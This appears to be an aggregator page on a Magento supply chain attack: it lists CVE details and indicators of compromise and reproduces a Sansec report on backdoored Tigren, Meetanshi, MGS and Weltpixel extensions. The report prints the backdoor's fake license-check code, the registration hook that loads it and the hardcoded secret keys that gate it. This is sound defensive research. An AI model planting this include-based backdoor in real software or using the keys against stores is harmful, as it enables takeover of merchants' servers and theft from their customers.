Backdoor found in popular ecommerce components
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2026-75650 | Unauthenticated Template Injection RCE in Adobe Commerce and Magento (CVE-2026-75650) Adobe Commerce and Magento (including Adobe Commerce B2B) contain an improper neutralization of special elements used in a template engine (CWE-1336), a template-injection flaw that permits arbitrary code execution in the context of the current user. The flaw is reachable over the network by unauthenticated attackers, requires no user interaction, and its changed scope (CVSS 3.1 S:C) means injected code executes beyond the vulnerable component, producing a maximum-severity (CVSS 10.0) remote code execution condition. A successful attacker gains arbitrary code execution on the storefront server; in the observed campaign, intruders installed a Rust backdoor and a PHP web shell (dubbed 'StyleSmuggler') on compromised servers. Any organization running an Adobe Commerce, Adobe Commerce B2B, or Magento storefront is in scope, with internet-facing e-commerce deployments most exposed. Exploitation is confirmed in the wild: the bug was abused as a zero-day before patching and was added to CISA's Known Exploited Vulnerabilities catalog on 2026-09-08. Do: Apply Adobe's released patches immediately per vendor instructions, prioritizing internet-facing Commerce/Magento storefronts, and ensure compliance with CISA BOD 26-04 timelines for KEV entries. Hunt for 'StyleSmuggler' indicators of compromise, including unexpected Rust backdoor binaries and PHP web shells on hosts, and review template/theme customizations for tampering. Exact fixed version numbers are not included in the available data, so consult Adobe's advisory for the correct patched release for your Commerce/Magento version line. | 10.0 | 2% | KEV PoC |
| massroughly 100,000-300,000 internet-facing storefronts |
Indicators of compromiseauto-extracted · verify before use · export allAll →
| Type | Indicator | Context |
|---|---|---|
| md5 | 83ba291cd9201e9a28173741bac82745 | oded checksum and salt: class License { const SECURE_KEY = '83ba291cd9201e9a28173741bac82745' ; const SIGN_KEY = 'afa3a778bd34181c44f2dfe1de8aff05' ; Th |
| md5 | afa3a778bd34181c44f2dfe1de8aff05 | EY = '83ba291cd9201e9a28173741bac82745' ; const SIGN_KEY = 'afa3a778bd34181c44f2dfe1de8aff05' ; The fake license check is explicitly activated via regis |
Full article614 words · extracted from sansec.io · click to collapse
Hundreds of stores, including a $40 billion multinational, are running backdoored versions of popular ecommerce software. We found that the backdoor is actively used since at least April 20th. Sansec identified these backdoors in the following packages which were published between 2019 and 2022.
| Vendor | Package |
|---|---|
| Tigren | Ajaxsuite |
| Tigren | Ajaxcart |
| Tigren | Ajaxlogin |
| Tigren | Ajaxcompare |
| Tigren | Ajaxwishlist |
| Tigren | MultiCOD |
| Meetanshi | ImageClean |
| Meetanshi | CookieNotice |
| Meetanshi | Flatshipping |
| Meetanshi | FacebookChat |
| Meetanshi | CurrencySwitcher |
| Meetanshi | DeferJS |
| Meetanshi | OutofstockNotifier |
| MGS | Lookbook |
| MGS | StoreLocator |
| MGS | Brand |
| MGS | GDPR |
| MGS | Portfolio |
| MGS | Popup |
| MGS | DeliveryTime |
| MGS | ProductTabs |
| MGS | Blog |
We established that Tigren, Magesolution (MGS) and Meetanshi servers have been breached and that attackers were able to inject backdoors on their download servers.
This hack is called a Supply Chain Attack, which is one of the worst types. By hacking these vendors, the attacker gained access to all of their customers' stores. And by proxy, to all of the customers that visit these stores.
We also found a backdoored version of the Weltpixel GoogleTagManager extension, but we have not been able to establish whether Weltpixel or these particular stores got compromised.
Check your store now
If you use software from these vendors, you should check your store now. The backdoor consists of a fake license check in a file called License.php or LicenseApi.php.
The evil is in the adminLoadLicense function, which executes $licenseFile as PHP.
protected function adminLoadLicense($licenseFile)
{
// ...
$data = include_once($licenseFile);
// ...
}
The $licenseFile can be controlled by the attacker using the adminUploadLicense function. In versions from 2019 this does not require any authentication. In later versions this requires a secret key that must match the hardcoded checksum and salt:
class License {
const SECURE_KEY = '83ba291cd9201e9a28173741bac82745';
const SIGN_KEY = 'afa3a778bd34181c44f2dfe1de8aff05';
The fake license check is explicitly activated via registration.php.
<?php
\Magento\Framework\Component\ComponentRegistrar::register(
\Magento\Framework\Component\ComponentRegistrar::MODULE,
'Meetanshi_CookieNotice',
__DIR__
);
if (file_exists(__DIR__ . DIRECTORY_SEPARATOR . 'Model/System/Config/Source/Box/License/License.php')) {
include_once(__DIR__ . DIRECTORY_SEPARATOR . 'Model/System/Config/Source/Box/License/License.php');
}
The backdoor code is the same for all found packages, except for:
- The authorization checksum (unique per vendor)
- The backdoor path (unique per module)
- The license filename (unique per vendor)
| Vendor | Meetanshi | MGS | Tigren | Weltpixel |
|---|---|---|---|---|
| Secure Key | 05aafe4... | 83ba291... | e7c057dd... | 47946a7... |
| Sign Key | f31d647... | afa3a77... | 313bedf... | 52dd8df... |
| License Filename | mtn-license | mgs-license | apj-license | wlp-license |
Recommendations
Sansec’s eComscan detects this malware out of the box. If you find a backdoor on your store, you can safely remove the fake License file. If you still have the original source in a zip file (particularly WeltPixel), please share it with us for further analysis.
At this point, we recommend to be extremely cautious when using software from these vendors.
Vendor responses
Magesolution (MGS) did not respond, but the backdoored packages can still be downloaded from their site as of Apr 30th.
Tigren denies to have been hacked, but the backdoored packages are still available on their site as of Apr 30th.
Meetanshi claims that their software has not been tampered with, but confirmed that their server got hacked.
Further research
It is rare that a backdoor remains undetected for 6 years, but is even stranger that actual abuse has only started now.
We will update this post when we learn more.
Need help or want a second opinion? Get in touch.
Credits
Special thanks to Alexandra Zota for discovering the initial abuse.
Read more
- Magento vendor Fishpig hacked, backdoors added
- StyleSmuggler: Magento and Adobe Commerce 0-day RCE (CVE-2026-75650) under active attack
- OptinMonster supply chain attack hits 1.2 million sites
- Mass PolyShell attack wave hits 471 stores in one hour
- PolyShell: unrestricted file upload in Magento and Adobe Commerce
Text extracted automatically; images, tables and formatting may be missing. Original: https://sansec.io/research/license-backdoor